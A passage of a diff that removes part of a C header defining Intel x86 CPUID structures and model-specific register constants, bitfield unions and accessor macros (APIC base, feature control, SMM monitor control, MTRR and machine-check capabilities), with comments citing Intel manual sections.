0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } edx; - -} cpuid_eax_80000006; - - -/** - * Extended Function CPUID Information. - */ -#define CPUID_EXTENDED_TIME_STAMP_COUNTER 0x80000007 -typedef struct -{ - union - { - struct - { - /** - * [Bits 31:0] EAX is reserved. - */ - uint32_t reserved : 32; -#define CPUID_EAX_RESERVED_BIT 0 -#define CPUID_EAX_RESERVED_FLAG 0xFFFFFFFF -#define CPUID_EAX_RESERVED_MASK 0xFFFFFFFF -#define CPUID_EAX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } eax; - - union - { - struct - { - /** - * [Bits 31:0] EBX is reserved. - */ - uint32_t reserved : 32; -#define CPUID_EBX_RESERVED_BIT 0 -#define CPUID_EBX_RESERVED_FLAG 0xFFFFFFFF -#define CPUID_EBX_RESERVED_MASK 0xFFFFFFFF -#define CPUID_EBX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } ebx; - - union - { - struct - { - /** - * [Bits 31:0] ECX is reserved. - */ - uint32_t reserved : 32; -#define CPUID_ECX_RESERVED_BIT 0 -#define CPUID_ECX_RESERVED_FLAG 0xFFFFFFFF -#define CPUID_ECX_RESERVED_MASK 0xFFFFFFFF -#define CPUID_ECX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } ecx; - - union - { - struct - { - uint32_t reserved1 : 8; - - /** - * [Bit 8] Invariant TSC available if 1. - */ - uint32_t invariant_tsc_available : 1; -#define CPUID_EDX_INVARIANT_TSC_AVAILABLE_BIT 8 -#define CPUID_EDX_INVARIANT_TSC_AVAILABLE_FLAG 0x100 -#define CPUID_EDX_INVARIANT_TSC_AVAILABLE_MASK 0x01 -#define CPUID_EDX_INVARIANT_TSC_AVAILABLE(_) (((_) >> 8) & 0x01) - uint32_t reserved2 : 23; - }; - - uint32_t flags; - } edx; - -} cpuid_eax_80000007; - -/** - * @} - */ - - /** - * @defgroup model_specific_registers \ - * Model Specific Registers - * - * @see Vol2A[3.2(CPUID)] (reference) - * @{ - */ - /** - * @defgroup ia32_p5_mc \ - * IA32_P5_MC_(x) - * - * When machine-check exceptions are enabled for the Pentium processor (MCE flag is set in control register CR4), the - * machine-check exception handler uses the RDMSR instruction to read the error type from the P5_MC_TYPE register and the - * machine check address from the P5_MC_ADDR register. The handler then normally reports these register values to the - * system console before aborting execution. - * - * @see Vol3B[15.10.2(Pentium Processor Machine-Check Exception Handling)] (reference) - * @{ - */ - /** - * Machine-check exception address. - * - * @remarks 05_01H - * @see Vol4[2.22(MSRS IN PENTIUM PROCESSORS)] - */ -#define IA32_P5_MC_ADDR 0x00000000 - - /** - * Machine-check exception type. - * - * @remarks 05_01H - * @see Vol4[2.22(MSRS IN PENTIUM PROCESSORS)] - */ -#define IA32_P5_MC_TYPE 0x00000001 - /** - * @} - */ - - /** - * System coherence line size. - * - * @remarks 0F_03H - * @see Vol3A[8.10.5(Monitor/Mwait Address Range Determination)] - * @see Vol3A[8.10.5(Monitor/Mwait Address Range Determination)] (reference) - */ -#define IA32_MONITOR_FILTER_LINE_SIZE 0x00000006 - - /** - * Value as returned by instruction RDTSC. - * - * @remarks 05_01H - * @see Vol3B[17.17(TIME-STAMP COUNTER)] - */ -#define IA32_TIME_STAMP_COUNTER 0x00000010 - - /** - * The operating system can use this MSR to determine "slot" information for the processor and the proper microcode update - * to load. - * - * @remarks 06_01H - */ -#define IA32_PLATFORM_ID 0x00000017 -typedef union -{ - struct - { - uint64_t reserved1 : 50; - - /** - * @brief Platform Id (RO) - * - * [Bits 52:50] Contains information concerning the intended platform for the processor. - * - * - * 52 | 51 | 50 | _ - * --:|:--:|:---|----------------- - * 0 | 0 | 0 | Processor Flag 0 - * 0 | 0 | 1 | Processor Flag 1 - * 0 | 1 | 0 | Processor Flag 2 - * 0 | 1 | 1 | Processor Flag 3 - * 1 | 0 | 0 | Processor Flag 4 - * 1 | 0 | 1 | Processor Flag 5 - * 1 | 1 | 0 | Processor Flag 6 - * 1 | 1 | 1 | Processor Flag 7 - */ - uint64_t platform_id : 3; -#define IA32_PLATFORM_ID_PLATFORM_ID_BIT 50 -#define IA32_PLATFORM_ID_PLATFORM_ID_FLAG 0x1C000000000000 -#define IA32_PLATFORM_ID_PLATFORM_ID_MASK 0x07 -#define IA32_PLATFORM_ID_PLATFORM_ID(_) (((_) >> 50) & 0x07) - uint64_t reserved2 : 11; - }; - - uint64_t flags; -} ia32_platform_id_register; - - -/** - * This register holds the APIC base address, permitting the relocation of the APIC memory map. - * - * @remarks 06_01H - * @see Vol3A[10.4.4(Local APIC Status and Location)] - * @see Vol3A[10.4.5(Relocating the Local APIC Registers)] - */ -#define IA32_APIC_BASE 0x0000001B -typedef union -{ - struct - { - uint64_t reserved1 : 8; - - /** - * [Bit 8] BSP flag. - */ - uint64_t bsp_flag : 1; -#define IA32_APIC_BASE_BSP_FLAG_BIT 8 -#define IA32_APIC_BASE_BSP_FLAG_FLAG 0x100 -#define IA32_APIC_BASE_BSP_FLAG_MASK 0x01 -#define IA32_APIC_BASE_BSP_FLAG(_) (((_) >> 8) & 0x01) - uint64_t reserved2 : 1; - - /** - * [Bit 10] Enable x2APIC mode. - */ - uint64_t enable_x2apic_mode : 1; -#define IA32_APIC_BASE_ENABLE_X2APIC_MODE_BIT 10 -#define IA32_APIC_BASE_ENABLE_X2APIC_MODE_FLAG 0x400 -#define IA32_APIC_BASE_ENABLE_X2APIC_MODE_MASK 0x01 -#define IA32_APIC_BASE_ENABLE_X2APIC_MODE(_) (((_) >> 10) & 0x01) - - /** - * [Bit 11] APIC Global Enable. - */ - uint64_t apic_global_enable : 1; -#define IA32_APIC_BASE_APIC_GLOBAL_ENABLE_BIT 11 -#define IA32_APIC_BASE_APIC_GLOBAL_ENABLE_FLAG 0x800 -#define IA32_APIC_BASE_APIC_GLOBAL_ENABLE_MASK 0x01 -#define IA32_APIC_BASE_APIC_GLOBAL_ENABLE(_) (((_) >> 11) & 0x01) - - /** - * [Bits 47:12] APIC Base. - */ - uint64_t apic_base : 36; -#define IA32_APIC_BASE_APIC_BASE_BIT 12 -#define IA32_APIC_BASE_APIC_BASE_FLAG 0xFFFFFFFFF000 -#define IA32_APIC_BASE_APIC_BASE_MASK 0xFFFFFFFFF -#define IA32_APIC_BASE_APIC_BASE(_) (((_) >> 12) & 0xFFFFFFFFF) - uint64_t reserved3 : 16; - }; - - uint64_t flags; -} ia32_apic_base_register; - - -/** - * Control Features in Intel 64 Processor. - * - * @remarks If any one enumeration condition for defined bit field holds. - */ -#define IA32_FEATURE_CONTROL 0x0000003A -typedef union -{ - struct - { - /** - * @brief Lock bit (R/WO) - * - * [Bit 0] When set, locks this MSR from being written; writes to this bit will result in GP(0). - * - * @note Once the Lock bit is set, the contents of this register cannot be modified. Therefore the lock bit must be set - * after configuring support for Intel Virtualization Technology and prior to transferring control to an option ROM or the - * OS. Hence, once the Lock bit is set, the entire IA32_FEATURE_CONTROL contents are preserved across RESET when PWRGOOD is - * not deasserted. - * @remarks If any one enumeration condition for defined bit field position greater than bit 0 holds. - */ - uint64_t lock_bit : 1; -#define IA32_FEATURE_CONTROL_LOCK_BIT_BIT 0 -#define IA32_FEATURE_CONTROL_LOCK_BIT_FLAG 0x01 -#define IA32_FEATURE_CONTROL_LOCK_BIT_MASK 0x01 -#define IA32_FEATURE_CONTROL_LOCK_BIT(_) (((_) >> 0) & 0x01) - - /** - * @brief Enable VMX inside SMX operation (R/WL) - * - * [Bit 1] This bit enables a system executive to use VMX in conjunction with SMX to support Intel(R) Trusted Execution - * Technology. BIOS must set this bit only when the CPUID function 1 returns VMX feature flag and SMX feature flag set (ECX - * bits 5 and 6 respectively). - * - * @remarks If CPUID.01H:ECX[5] = 1 && CPUID.01H:ECX[6] = 1 - */ - uint64_t enable_vmx_inside_smx : 1; -#define IA32_FEATURE_CONTROL_ENABLE_VMX_INSIDE_SMX_BIT 1 -#define IA32_FEATURE_CONTROL_ENABLE_VMX_INSIDE_SMX_FLAG 0x02 -#define IA32_FEATURE_CONTROL_ENABLE_VMX_INSIDE_SMX_MASK 0x01 -#define IA32_FEATURE_CONTROL_ENABLE_VMX_INSIDE_SMX(_) (((_) >> 1) & 0x01) - - /** - * @brief Enable VMX outside SMX operation (R/WL) - * - * [Bit 2] This bit enables VMX for a system executive that does not require SMX. BIOS must set this bit only when the - * CPUID function 1 returns the VMX feature flag set (ECX bit 5). - * - * @remarks If CPUID.01H:ECX[5] = 1 - */ - uint64_t enable_vmx_outside_smx : 1; -#define IA32_FEATURE_CONTROL_ENABLE_VMX_OUTSIDE_SMX_BIT 2 -#define IA32_FEATURE_CONTROL_ENABLE_VMX_OUTSIDE_SMX_FLAG 0x04 -#define IA32_FEATURE_CONTROL_ENABLE_VMX_OUTSIDE_SMX_MASK 0x01 -#define IA32_FEATURE_CONTROL_ENABLE_VMX_OUTSIDE_SMX(_) (((_) >> 2) & 0x01) - uint64_t reserved1 : 5; - - /** - * @brief SENTER Local Function Enable (R/WL) - * - * [Bits 14:8] When set, each bit in the field represents an enable control for a corresponding SENTER function. This field - * is supported only if CPUID.1:ECX.[bit 6] is set. - * - * @remarks If CPUID.01H:ECX[6] = 1 - */ - uint64_t senter_local_function_enables : 7; -#define IA32_FEATURE_CONTROL_SENTER_LOCAL_FUNCTION_ENABLES_BIT 8 -#define IA32_FEATURE_CONTROL_SENTER_LOCAL_FUNCTION_ENABLES_FLAG 0x7F00 -#define IA32_FEATURE_CONTROL_SENTER_LOCAL_FUNCTION_ENABLES_MASK 0x7F -#define IA32_FEATURE_CONTROL_SENTER_LOCAL_FUNCTION_ENABLES(_) (((_) >> 8) & 0x7F) - - /** - * @brief SENTER Global Enable (R/WL) - * - * [Bit 15] This bit must be set to enable SENTER leaf functions. This bit is supported only if CPUID.1:ECX.[bit 6] is set. - * - * @remarks If CPUID.01H:ECX[6] = 1 - */ - uint64_t senter_global_enable : 1; -#define IA32_FEATURE_CONTROL_SENTER_GLOBAL_ENABLE_BIT 15 -#define IA32_FEATURE_CONTROL_SENTER_GLOBAL_ENABLE_FLAG 0x8000 -#define IA32_FEATURE_CONTROL_SENTER_GLOBAL_ENABLE_MASK 0x01 -#define IA32_FEATURE_CONTROL_SENTER_GLOBAL_ENABLE(_) (((_) >> 15) & 0x01) - uint64_t reserved2 : 1; - - /** - * @brief SGX Launch Control Enable (R/WL) - * - * [Bit 17] This bit must be set to enable runtime reconfiguration of SGX Launch Control via the IA32_SGXLEPUBKEYHASHn MSR. - * - * @remarks If CPUID.(EAX=07H, ECX=0H): ECX[30] = 1 - */ - uint64_t sgx_launch_control_enable : 1; -#define IA32_FEATURE_CONTROL_SGX_LAUNCH_CONTROL_ENABLE_BIT 17 -#define IA32_FEATURE_CONTROL_SGX_LAUNCH_CONTROL_ENABLE_FLAG 0x20000 -#define IA32_FEATURE_CONTROL_SGX_LAUNCH_CONTROL_ENABLE_MASK 0x01 -#define IA32_FEATURE_CONTROL_SGX_LAUNCH_CONTROL_ENABLE(_) (((_) >> 17) & 0x01) - - /** - * @brief SGX Global Enable (R/WL) - * - * [Bit 18] This bit must be set to enable SGX leaf functions. - * - * @remarks If CPUID.(EAX=07H, ECX=0H): EBX[2] = 1 - */ - uint64_t sgx_global_enable : 1; -#define IA32_FEATURE_CONTROL_SGX_GLOBAL_ENABLE_BIT 18 -#define IA32_FEATURE_CONTROL_SGX_GLOBAL_ENABLE_FLAG 0x40000 -#define IA32_FEATURE_CONTROL_SGX_GLOBAL_ENABLE_MASK 0x01 -#define IA32_FEATURE_CONTROL_SGX_GLOBAL_ENABLE(_) (((_) >> 18) & 0x01) - uint64_t reserved3 : 1; - - /** - * @brief LMCE On (R/WL) - * - * [Bit 20] When set, system software can program the MSRs associated with LMCE to configure delivery of some machine check - * exceptions to a single logical processor. - * - * @remarks If IA32_MCG_CAP[27] = 1 - */ - uint64_t lmce_on : 1; -#define IA32_FEATURE_CONTROL_LMCE_ON_BIT 20 -#define IA32_FEATURE_CONTROL_LMCE_ON_FLAG 0x100000 -#define IA32_FEATURE_CONTROL_LMCE_ON_MASK 0x01 -#define IA32_FEATURE_CONTROL_LMCE_ON(_) (((_) >> 20) & 0x01) - uint64_t reserved4 : 43; - }; - - uint64_t flags; -} ia32_feature_control_register; - - -/** - * Per Logical Processor TSC Adjust. - * - * @remarks If CPUID.(EAX=07H, ECX=0H): EBX[1] = 1 - */ -#define IA32_TSC_ADJUST 0x0000003B -typedef struct -{ - /** - * Local offset value of the IA32_TSC for a logical processor. Reset value is zero. A write to IA32_TSC will modify the - * local offset in IA32_TSC_ADJUST and the content of IA32_TSC, but does not affect the internal invariant TSC hardware. - */ - uint64_t thread_adjust; -} ia32_tsc_adjust_register; - - -/** - * @brief BIOS Update Trigger (W) - * - * Executing a WRMSR instruction to this MSR causes a microcode update to be loaded into the processor. A processor may - * prevent writing to this MSR when loading guest states on VM entries or saving guest states on VM exits. - * - * @remarks 06_01H - * @see Vol3A[9.11.6(Microcode Update Loader)] - */ -#define IA32_BIOS_UPDATE_TRIGGER 0x00000079 - - /** - * @brief BIOS Update Signature (RO) - * - * Returns the microcode update signature following the execution of CPUID.01H. A processor may prevent writing to this MSR - * when loading guest states on VM entries or saving guest states on VM exits. - * - * @remarks 06_01H - */ -#define IA32_BIOS_UPDATE_SIGNATURE 0x0000008B -typedef union -{ - struct - { - /** - * [Bits 31:0] Reserved. - */ - uint64_t reserved : 32; -#define IA32_BIOS_UPDATE_SIGNATURE_RESERVED_BIT 0 -#define IA32_BIOS_UPDATE_SIGNATURE_RESERVED_FLAG 0xFFFFFFFF -#define IA32_BIOS_UPDATE_SIGNATURE_RESERVED_MASK 0xFFFFFFFF -#define IA32_BIOS_UPDATE_SIGNATURE_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) - - /** - * @brief Microcode update signature - * - * [Bits 63:32] This field contains the signature of the currently loaded microcode update when read following the - * execution of the CPUID instruction, function 1. It is required that this register field be pre-loaded with zero prior to - * executing the CPUID, function 1. If the field remains equal to zero, then there is no microcode update loaded. Another - * nonzero value will be the signature. - * - * @see Vol3A[9.11.7.1(Determining the Signature)] (reference) - */ - uint64_t microcode_update_signature : 32; -#define IA32_BIOS_UPDATE_SIGNATURE_MICROCODE_UPDATE_SIGNATURE_BIT 32 -#define IA32_BIOS_UPDATE_SIGNATURE_MICROCODE_UPDATE_SIGNATURE_FLAG 0xFFFFFFFF00000000 -#define IA32_BIOS_UPDATE_SIGNATURE_MICROCODE_UPDATE_SIGNATURE_MASK 0xFFFFFFFF -#define IA32_BIOS_UPDATE_SIGNATURE_MICROCODE_UPDATE_SIGNATURE(_) (((_) >> 32) & 0xFFFFFFFF) - }; - - uint64_t flags; -} ia32_bios_update_signature_register; - -/** - * @defgroup ia32_sgxlepubkeyhash \ - * IA32_SGXLEPUBKEYHASH[(64*n+63):(64*n)] - * - * Bits (64*n+63):(64*n) of the SHA256 digest of the SIGSTRUCT.MODULUS for SGX Launch Enclave. On reset, the default value - * is the digest of Intel's signing key. - * - * @remarks Read permitted If CPUID.(EAX=12H,ECX=0H): EAX[0]=1 && CPUID.(EAX=07H,ECX=0H):ECX[30]=1. Write permitted if - * CPUID.(EAX=12H,ECX=0H): EAX[0]=1 && IA32_FEATURE_CONTROL[17] = 1 && IA32_FEATURE_CONTROL[0] = 1. - * @{ - */ -#define IA32_SGXLEPUBKEYHASH0 0x0000008C -#define IA32_SGXLEPUBKEYHASH1 0x0000008D -#define IA32_SGXLEPUBKEYHASH2 0x0000008E -#define IA32_SGXLEPUBKEYHASH3 0x0000008F - /** - * @} - */ - - - /** - * SMM Monitor Configuration. - * - * @remarks If CPUID.01H: ECX[5]=1 || CPUID.01H: ECX[6] = 1 - */ -#define IA32_SMM_MONITOR_CTL 0x0000009B -typedef union -{ - struct - { - /** - * @brief Valid (R/W) - * - * [Bit 0] The STM may be invoked using VMCALL only if this bit is 1. Because VMCALL is used to activate the dual-monitor - * treatment, the dual-monitor treatment cannot be activated if the bit is 0. This bit is cleared when the logical - * processor is reset. - * - * @see Vol3C[34.15.6(Activating the Dual-Monitor Treatment)] - * @see Vol3C[34.15.5(Enabling the Dual-Monitor Treatment)] (reference) - */ - uint64_t valid : 1; -#define IA32_SMM_MONITOR_CTL_VALID_BIT 0 -#define IA32_SMM_MONITOR_CTL_VALID_FLAG 0x01 -#define IA32_SMM_MONITOR_CTL_VALID_MASK 0x01 -#define IA32_SMM_MONITOR_CTL_VALID(_) (((_) >> 0) & 0x01) - uint64_t reserved1 : 1; - - /** - * @brief Controls SMI unblocking by VMXOFF - * - * [Bit 2] Determines whether executions of VMXOFF unblock SMIs under the default treatment of SMIs and SMM. Executions of - * VMXOFF unblock SMIs unless bit 2 is 1 (the value of bit 0 is irrelevant). - * - * @remarks If IA32_VMX_MISC[28] - * @see Vol3C[34.14.4(VMXOFF and SMI Unblocking)] - * @see Vol3C[34.15.5(Enabling the Dual-Monitor Treatment)] (reference) - */ - uint64_t smi_unblocking_by_vmxoff : 1; -#define IA32_SMM_MONITOR_CTL_SMI_UNBLOCKING_BY_VMXOFF_BIT 2 -#define IA32_SMM_MONITOR_CTL_SMI_UNBLOCKING_BY_VMXOFF_FLAG 0x04 -#define IA32_SMM_MONITOR_CTL_SMI_UNBLOCKING_BY_VMXOFF_MASK 0x01 -#define IA32_SMM_MONITOR_CTL_SMI_UNBLOCKING_BY_VMXOFF(_) (((_) >> 2) & 0x01) - uint64_t reserved2 : 9; - - /** - * @brief MSEG Base (R/W) - * - * [Bits 31:12] Value that, when shifted left 12 bits, is the physical address of MSEG (the MSEG base address). - * - * @see Vol3C[34.15.5(Enabling the Dual-Monitor Treatment)] (reference) - */ - uint64_t mseg_base : 20; -#define IA32_SMM_MONITOR_CTL_MSEG_BASE_BIT 12 -#define IA32_SMM_MONITOR_CTL_MSEG_BASE_FLAG 0xFFFFF000 -#define IA32_SMM_MONITOR_CTL_MSEG_BASE_MASK 0xFFFFF -#define IA32_SMM_MONITOR_CTL_MSEG_BASE(_) (((_) >> 12) & 0xFFFFF) - uint64_t reserved3 : 32; - }; - - uint64_t flags; -} ia32_smm_monitor_ctl_register; - -typedef struct -{ - /** - * @brief MSEG revision identifier - * - * Different processors may use different MSEG revision identifiers. These identifiers enable software to avoid using an - * MSEG header formatted for one processor on a processor that uses a different format. Software can discover the MSEG - * revision identifier that a processor uses by reading the VMX capability MSR IA32_VMX_MISC. - * - * @see Vol3D[A.6(MISCELLANEOUS DATA)] - */ - uint32_t mseg_header_revision; - - /** - * @brief SMM-transfer monitor features field - * - * Bits 31:1 of this field are reserved and must be zero. Bit 0 of the field is the IA-32e mode SMM feature bit. It - * indicates whether the logical processor will be in IA-32e mode after the STM is activated. - * - * @see Vol3C[34.15.6(Activating the Dual-Monitor Treatment)] - */ - uint32_t monitor_features; - - /** - * Define values for the MonitorFeatures field of MSEG_HEADER. - */ -#define IA32_STM_FEATURES_IA32E 0x00000001 - - /** - * Fields that determine how processor state is loaded when the STM is activated. SMM code should establish these fields so - * that activating of the STM invokes the STM's initialization code. - * - * @see Vol3C[34.15.6.5(Loading Host State)] - */ - uint32_t gdtr_limit; - uint32_t gdtr_base_offset; - uint32_t cs_selector; - uint32_t eip_offset; - uint32_t esp_offset; - uint32_t cr3_offset; -} ia32_mseg_header; - - -/** - * Base address of the logical processor's SMRAM image. - * - * @remarks If IA32_VMX_MISC[15] - */ -#define IA32_SMBASE 0x0000009E - /** - * @defgroup ia32_pmc \ - * IA32_PMC(n) - * - * General Performance Counters. - * - * @remarks If CPUID.0AH: EAX[15:8] > n - * @{ - */ -#define IA32_PMC0 0x000000C1 -#define IA32_PMC1 0x000000C2 -#define IA32_PMC2 0x000000C3 -#define IA32_PMC3 0x000000C4 -#define IA32_PMC4 0x000000C5 -#define IA32_PMC5 0x000000C6 -#define IA32_PMC6 0x000000C7 -#define IA32_PMC7 0x000000C8 - /** - * @} - */ - - - /** - * TSC Frequency Clock Counter. - * - * @remarks If CPUID.06H: ECX[0] = 1 - */ -#define IA32_MPERF 0x000000E7 -typedef struct -{ - /** - * @brief C0 TSC Frequency Clock Count - * - * Increments at fixed interval (relative to TSC freq.) when the logical processor is in C0. Cleared upon overflow / - * wrap-around of IA32_APERF. - */ - uint64_t c0_mcnt; -} ia32_mperf_register; - - -/** - * Actual Performance Clock Counter - * - * @remarks If CPUID.06H: ECX[0] = 1 - */ -#define IA32_APERF 0x000000E8 -typedef struct -{ - /** - * @brief C0 Actual Frequency Clock Count - * - * Accumulates core clock counts at the coordinated clock frequency, when the logical processor is in C0. Cleared upon - * overflow / wrap-around of IA32_MPERF. - */ - uint64_t c0_acnt; -} ia32_aperf_register; - - -/** - * MTRR Capability. - * - * @see Vol3A[11.11.2.1(IA32_MTRR_DEF_TYPE MSR)] - * @see Vol3A[11.11.1(MTRR Feature Identification)] (reference) - */ -#define IA32_MTRR_CAPABILITIES 0x000000FE -typedef union -{ - struct - { - /** - * @brief VCNT (variable range registers count) field - * - * [Bits 7:0] Indicates the number of variable ranges implemented on the processor. - */ - uint64_t variable_range_count : 8; -#define IA32_MTRR_CAPABILITIES_VARIABLE_RANGE_COUNT_BIT 0 -#define IA32_MTRR_CAPABILITIES_VARIABLE_RANGE_COUNT_FLAG 0xFF -#define IA32_MTRR_CAPABILITIES_VARIABLE_RANGE_COUNT_MASK 0xFF -#define IA32_MTRR_CAPABILITIES_VARIABLE_RANGE_COUNT(_) (((_) >> 0) & 0xFF) - - /** - * @brief FIX (fixed range registers supported) flag - * - * [Bit 8] Fixed range MTRRs (IA32_MTRR_FIX64K_00000 through IA32_MTRR_FIX4K_0F8000) are supported when set; no fixed range - * registers are supported when clear. - */ - uint64_t fixed_range_supported : 1; -#define IA32_MTRR_CAPABILITIES_FIXED_RANGE_SUPPORTED_BIT 8 -#define IA32_MTRR_CAPABILITIES_FIXED_RANGE_SUPPORTED_FLAG 0x100 -#define IA32_MTRR_CAPABILITIES_FIXED_RANGE_SUPPORTED_MASK 0x01 -#define IA32_MTRR_CAPABILITIES_FIXED_RANGE_SUPPORTED(_) (((_) >> 8) & 0x01) - uint64_t reserved1 : 1; - - /** - * @brief WC (write combining) flag - * - * [Bit 10] The write-combining (WC) memory type is supported when set; the WC type is not supported when clear. - */ - uint64_t wc_supported : 1; -#define IA32_MTRR_CAPABILITIES_WC_SUPPORTED_BIT 10 -#define IA32_MTRR_CAPABILITIES_WC_SUPPORTED_FLAG 0x400 -#define IA32_MTRR_CAPABILITIES_WC_SUPPORTED_MASK 0x01 -#define IA32_MTRR_CAPABILITIES_WC_SUPPORTED(_) (((_) >> 10) & 0x01) - - /** - * @brief SMRR (System-Management Range Register) flag - * - * [Bit 11] The system-management range register (SMRR) interface is supported when bit 11 is set; the SMRR interface is - * not supported when clear. - */ - uint64_t smrr_supported : 1; -#define IA32_MTRR_CAPABILITIES_SMRR_SUPPORTED_BIT 11 -#define IA32_MTRR_CAPABILITIES_SMRR_SUPPORTED_FLAG 0x800 -#define IA32_MTRR_CAPABILITIES_SMRR_SUPPORTED_MASK 0x01 -#define IA32_MTRR_CAPABILITIES_SMRR_SUPPORTED(_) (((_) >> 11) & 0x01) - uint64_t reserved2 : 52; - }; - - uint64_t flags; -} ia32_mtrr_capabilities_register; - - -/** - * @brief SYSENTER_CS_MSR (R/W) - * - * The lower 16 bits of this MSR are the segment selector for the privilege level 0 code segment. This value is also used - * to determine the segment selector of the privilege level 0 stack segment. This value cannot indicate a null selector. - * - * @remarks 06_01H - * @see Vol2B[4.3(Instructions (M-U) | SYSCALL - Fast System Call)] (reference) - */ -#define IA32_SYSENTER_CS 0x00000174 -typedef union -{ - struct - { - /** - * [Bits 15:0] CS Selector. - */ - uint64_t cs_selector : 16; -#define IA32_SYSENTER_CS_CS_SELECTOR_BIT 0 -#define IA32_SYSENTER_CS_CS_SELECTOR_FLAG 0xFFFF -#define IA32_SYSENTER_CS_CS_SELECTOR_MASK 0xFFFF -#define IA32_SYSENTER_CS_CS_SELECTOR(_) (((_) >> 0) & 0xFFFF) - - /** - * [Bits 31:16] Not used. - * - * @remarks Can be read and written. - */ - uint64_t not_used_1 : 16; -#define IA32_SYSENTER_CS_NOT_USED_1_BIT 16 -#define IA32_SYSENTER_CS_NOT_USED_1_FLAG 0xFFFF0000 -#define IA32_SYSENTER_CS_NOT_USED_1_MASK 0xFFFF -#define IA32_SYSENTER_CS_NOT_USED_1(_) (((_) >> 16) & 0xFFFF) - - /** - * [Bits 63:32] Not used. - * - * @remarks Writes ignored; reads return zero. - */ - uint64_t not_used_2 : 32; -#define IA32_SYSENTER_CS_NOT_USED_2_BIT 32 -#define IA32_SYSENTER_CS_NOT_USED_2_FLAG 0xFFFFFFFF00000000 -#define IA32_SYSENTER_CS_NOT_USED_2_MASK 0xFFFFFFFF -#define IA32_SYSENTER_CS_NOT_USED_2(_) (((_) >> 32) & 0xFFFFFFFF) - }; - - uint64_t flags; -} ia32_sysenter_cs_register; - - -/** - * @brief SYSENTER_ESP_MSR (R/W) - * - * The value of this MSR is loaded into RSP (thus, this value contains the stack pointer for the privilege level 0 stack). - * This value cannot represent a non-canonical address. In protected mode, only bits 31:0 are loaded. - * - * @remarks 06_01H - * @see Vol2B[4.3(Instructions (M-U) | SYSCALL - Fast System Call)] (reference) - */ -#define IA32_SYSENTER_ESP 0x00000175 - - /** - * @brief SYSENTER_EIP_MSR (R/W) - * - * The value of this MSR is loaded into RIP (thus, this value references the first instruction of the selected operating - * procedure or routine). In protected mode, only bits 31:0 are loaded. - * - * @remarks 06_01H - * @see Vol2B[4.3(Instructions (M-U) | SYSCALL - Fast System Call)] (reference) - */ -#define IA32_SYSENTER_EIP 0x00000176 - - /** - * Global Machine Check Capability. - * - * @remarks 06_01H - */ -#define IA32_MCG_CAP 0x00000179 -typedef union -{ - struct - { - /** - * [Bits 7:0] Number of reporting banks. - */ - uint64_t count : 8; -#define IA32_MCG_CAP_COUNT_BIT 0 -#define IA32_MCG_CAP_COUNT_FLAG 0xFF -#define IA32_MCG_CAP_COUNT_MASK 0xFF -#define IA32_MCG_CAP_COUNT(_) (((_) >> 0) & 0xFF) - - /** - * [Bit 8] IA32_MCG_CTL is present if this bit is set. - */ - uint64_t mcg_ctl_p : 1; -#define IA32_MCG_CAP_MCG_CTL_P_BIT 8 -#define IA32_MCG_CAP_MCG_CTL_P_FLAG 0x100 -#define IA32_MCG_CAP_MCG_CTL_P_MASK 0x01 -#define IA32_MCG_CAP_MCG_CTL_P(_) (((_) >> 8) & 0x01) - - /** - * [Bit 9] Extended machine check state registers are present if this bit is set. - */ - uint64_t mcg_ext_p : 1; -#define IA32_MCG_CAP_MCG_EXT_P_BIT 9 -#define IA32_MCG_CAP_MCG_EXT_P_FLAG 0x200 -#define IA32_MCG_CAP_MCG_EXT_P_MASK 0x01 -#define IA32_MCG_CAP_MCG_EXT_P(_) (((_) >> 9) & 0x01) - - /** - * [Bit 10] Support for corrected MC error event is present. - * - * @remarks 06_01H - */ - uint64_t mcp_cmci_p : 1; -#define IA32_MCG_CAP_MCP_CMCI_P_BIT 10 -#define IA32_MCG_CAP_MCP_CMCI_P_FLAG 0x400 -#define IA32_MCG_CAP_MCP_CMCI_P_MASK 0x01 -#define IA32_MCG_CAP_MCP_CMCI_P(_) (((_) >> 10) & 0x01) - - /** - * [Bit 11] Threshold-based error status register are present if this bit is set. - */ - uint64_t mcg_tes_p : 1; -#define IA32_MCG_CAP_MCG_TES_P_BIT 11 -#define IA32_MCG_CAP_MCG_TES_P_FLAG 0x800 -#define IA32_MCG_CAP_MCG_TES_P_MASK 0x01 -#define IA32_MCG_CAP_MCG_TES_P(_) (((_) >> 11) & 0x01) - uint64_t reserved1 : 4; - - /** - * [Bits 23:16] Number of extended machine check state registers present. - */ - uint64_t mcg_ext_cnt : 8; -#define IA32_MCG_CAP_MCG_EXT_CNT_BIT 16 -#define IA32_MCG_CAP_MCG_EXT_CNT_FLAG 0xFF0000 -#define IA32_MCG_CAP_MCG_EXT_CNT_MASK 0xFF -#define IA32_MCG_CAP_MCG_EXT_CNT(_) (((_) >> 16) & 0xFF) - - /** - * [Bit 24] The processor supports software error recovery if this bit is set. - */ - uint64_t mcg_ser_p : 1; -#define IA32_MCG_CAP_MCG_SER_P_BIT 24 -#define IA32_MCG_CAP_MCG_SER_P_FLAG 0x1000000 -#define IA32_MCG_CAP_MCG_SER_P_MASK 0x01 -#define IA32_MCG_CAP_MCG_SER_P(_) (((_) >> 24) & 0x01) - uint64_t reserved2 : 1; - - /** - * [Bit 26] Indicates that the processor allows platform firmware to be invoked when an error is detected so that it may - * provide additional platform specific information in an ACPI format "Generic Error Data Entry" that augments the data - * included in machine check bank registers. - * - * @remarks 06_3EH - */ - uint64_t mcg_elog_p : 1; -#define IA32_MCG_CAP_MCG_ELOG_P_BIT 26 -#define IA32_MCG_CAP_MCG_ELOG_P_FLAG 0x4000000 -#define IA32_MCG_CAP_MCG_ELOG_P_MASK 0x01 -#define IA32_MCG_CAP_MCG_ELOG_P(_) (((_) >> 26) & 0x01) - - /** - * [Bit 27] Indicates that the processor supports extended state in IA32_MCG_STATUS and associated MSR necessary to - * configure Local Machine Check Exception (LMCE). - * - * @remarks 06_3EH - */ - uint64_t mcg_lmce_p : 1; -#define IA32_MCG_CAP_MCG_LMCE_P_BIT 27 -#define IA32_MCG_CAP_MCG_LMCE_P_FLAG 0x8000000 -#define IA32_MCG_CAP_MCG_LMCE_P_MASK 0x01 -#define IA32_MCG_CAP_MCG_LMCE_P(_) (((_) >> 27) & 0x01) - uint64_t reserved3 : 36; - }; - - uint64_t flags; -} ia32_mcg_cap_register; - - -/** - * Global 